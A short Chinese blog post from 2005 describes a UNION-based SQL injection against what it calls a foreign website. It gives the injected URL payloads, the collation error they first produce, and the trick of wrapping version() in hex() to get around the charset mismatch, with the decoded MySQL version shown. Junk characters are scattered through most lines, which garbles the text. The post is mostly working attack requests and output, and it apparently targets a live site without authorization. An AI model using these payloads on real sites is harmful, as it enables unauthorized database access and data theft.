本文作者:SuperHei3 q0 f) J4 j: x6 O
文章性质:原创3 @ r) ?0 l0 K$ U
发布日期:2005-10-18
" b" {" q+ \ J4 `5 ?测试个国外的站时:- N( C8 t' z8 S$ u3 i
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
) s9 q0 s9 Y- ~2 N' ~6 x6 y返回错误:
# g) ]7 _: x" U; GIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'& ]- x0 O: p0 Q6 d% C
MySQL Error No. 126
- \- A" c, V% R看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
- d5 @2 f' z; _& A2 [ V! Q' W! k解决办法:转为其他编码如hex。
, ?* K: w" b( T5 Jurl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
5 g+ R+ I9 W' ]* X$ h成功得到hex(version())的值为:6 \, P/ B; p3 ]" W( X
342E312E332D62657461
: Q* }8 x* W" P# N4 X回Mysql查询下得到:
) i& L& I2 y) g& Lmysql> select 0x342E312E332D62657461;, a) o7 z- @3 V" U+ ]. p9 \
+------------------------+
' a' R- h$ `- S| 0x342E312E332D62657461 |' Y! S) g9 Q, P' T( I6 U
+------------------------+
2 {% g6 Z0 [7 S% P! n1 P2 B| 4.1.3-beta |& } S( d+ Q6 r: L
+------------------------+ w( k' E- D' {: s
1 row in set (0.00 sec)
0 ~5 E" K+ T$ x
$ n( A; G0 g' I7 j+ o- |8 V5 A |